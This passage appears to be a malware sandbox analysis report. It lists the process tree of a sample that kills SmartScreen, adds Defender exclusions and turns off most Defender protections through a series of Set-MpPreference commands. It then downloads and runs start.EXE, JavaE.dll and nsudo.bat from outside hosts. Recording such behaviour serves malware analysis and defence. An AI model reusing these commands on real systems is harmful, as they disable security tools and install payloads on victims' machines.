- Modifies file permissions
PID:360
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C:\Windows\SysWOW64\taskkill.exetaskkill /im smartscreen.exe /f4⤵
- Kills process with taskkill
PID:672
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C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\smartscreen.exe" /inheritance:r /remove *S-1-5-32-544 *S-1-5-11 *S-1-5-32-545 *S-1-5-184⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3992
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Add-MpPreference -ExclusionExtension ".exe""4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:820
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath '"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3976
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Add-MpPreference -ExclusionExtension ".dll""4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3584
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C:\Windows\SysWOW64\cmd.execmd /c powershell.exe -command "Set-MpPreference -MAPSReporting 0"4⤵
- Suspicious use of WriteProcessMemory
PID:3720 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -MAPSReporting 0"5⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:184
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -PUAProtection disable"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:868
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -EnableControlledFolderAccess Disabled"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1692
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -DisableBehaviorMonitoring $true"4⤵
- Suspicious behavior: EnumeratesProcesses
PID:2744
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $true"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2332
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -DisableBlockAtFirstSeen $true"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:744
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -DisableIOAVProtection $true"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:952
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -DisablePrivacyMode $true"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1376
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:904
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -DisableArchiveScanning $true"4⤵
- Suspicious behavior: EnumeratesProcesses
PID:824
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -DisableIntrusionPreventionSystem $true"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4008
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -DisableScriptScanning $true"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2228
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -SubmitSamplesConsent 2"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3908
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -HighThreatDefaultAction 6 -Force"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1444
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -ModerateThreatDefaultAction 6"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4016
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -LowThreatDefaultAction 6"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1908
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -SevereThreatDefaultAction 6"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2308
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -ScanScheduleDay 8"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2340
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell Invoke-WebRequest https://atclouroettfbquhfimp.com/start.EXE -OutFile start.EXE4⤵
- Blocklisted process makes network request
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4220
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C:\Windows\SysWOW64\explorer.exeexplorer.exe "start.EXE"4⤵
- Checks processor information in registry
- Modifies data under HKEY_USERS
PID:4524
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C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵PID:4144
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C:\Users\Admin\AppData\Roaming\start.EXE"C:\Users\Admin\AppData\Roaming\start.EXE"2⤵
- Executes dropped EXE
- Adds Run key to start application
PID:2284 -
C:\Windows\SYSTEM32\cmd.execmd /c start.bat3⤵PID:4432
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Invoke-WebRequest https://gucdhwpcfjmmcefypliv.com/JavaE.dll -OutFile JavaE.dll4⤵
- Blocklisted process makes network request
PID:2196
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C:\Windows\system32\regsvr32.exeregsvr32 JavaE.dll4⤵PID:1460
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Invoke-WebRequest https://gucdhwpcfjmmcefypliv.com/nsudo.bat -OutFile nsudo.bat4⤵
- Blocklisted process makes network request
PID:4308
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C:\Windows\system32\cmd.execmd /c nsudo.bat4⤵PID:1468
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C:\Windows\system32\timeout.exetimeout 254⤵
- Delays execution with timeout.exe
PID:4052
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C:\Windows\system32\cmd.execmd /c nsudo.bat4⤵PID:4892
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C:\Windows\system32\timeout.exetimeout 254⤵
- Delays execution with timeout.exe
PID:2312
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